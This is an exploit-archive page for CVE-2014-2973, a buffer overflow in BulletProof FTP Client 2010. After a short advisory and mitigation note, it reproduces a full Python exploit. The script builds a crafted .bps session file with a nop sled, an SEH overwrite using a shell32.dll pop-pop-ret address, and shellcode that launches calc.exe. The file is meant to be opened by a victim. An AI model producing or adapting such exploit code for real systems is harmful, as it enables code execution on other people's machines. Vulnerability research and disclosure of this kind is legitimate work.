BulletProof FTP Client 2010 - Buffer Overflow (SEH) Exploit

vendor:

BulletProof FTP Client

by:

Robert Kugler

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: BulletProof FTP Client

Affected Version From: 2010.75.0.76

Affected Version To: 2010.75.0.76

Patch Exists: YES

Related CWE: CVE-2014-2973

CPE: a:bpftp:bulletproof_ftp_client

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP

2014

BulletProof FTP Client 2010 – Buffer Overflow (SEH) Exploit

A buffer overflow vulnerability exists in BulletProof FTP Client 2010, which could allow an attacker to execute arbitrary code on the vulnerable system. The vulnerability is due to a boundary error when handling specially crafted Session-File (.bps) files. By convincing a user to open a specially crafted Session-File, an attacker could overflow a buffer and execute arbitrary code on the system with the privileges of the user.

Mitigation:

Upgrade to the latest version of BulletProof FTP Client 2010 or apply the patch provided by the vendor.

Source

Exploit-DB raw data:

# !/usr/bin/python
#-----------------------------------------------------------------------------#
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH) Exploit  #
# Date: Sep 05 2014							      							  #
# Vulnerability Discovery: Gabor Seljan                                       #
# Exploit Author: Robert Kugler                                               #
# Software Link: http://www.bpftp.com/                                        #
# Version: 2010.75.0.76                                                       #
# Tested on: Windows XP                                                       #
# CVE: CVE-2014-2973 							      						  #
#                                                         		      		  #
# Thanks to corelanc0d3r for his awesome tutorials and help! ;-)	          #
# The "Enter URL" form is also vulnerable	      			                  #
#-----------------------------------------------------------------------------#

buffer = "This is a BulletProof FTP Client Session-File and should not be modified directly.\n"
buffer+= "\x20" + "\x90" * 89
buffer+= "\xeb\x06\x90\x90"
buffer+= "\xA0\xB3\x3C\x77" # shell32.dll pop pop ret @773CB3A0
buffer+= "\x90" * 119 # 160 characters space
buffer+= ("\x33\xc0\x50\x68"
         "\x2E\x65\x78\x65"
         "\x68\x63\x61\x6C"
         "\x63\x8B\xC4\x6A" # 36 bytes
         "\x01\x50\xBB\x35" # ExitProcess is located at 0x77e598fd in kernel32.dll
         "\xfd\xe4\x77\xFF"
         "\xD3\x33\xc0\x50"
	 "\xc7\xc0\x8f\x4a"
	 "\xe5\x77\xff\xe0")

buffer+= "\x90" * (1000 - len(buffer))

# Just load the "BP Session" and click on "Connect".

file = open("ftpsession.bps","w")
file.write(buffer)
file.close()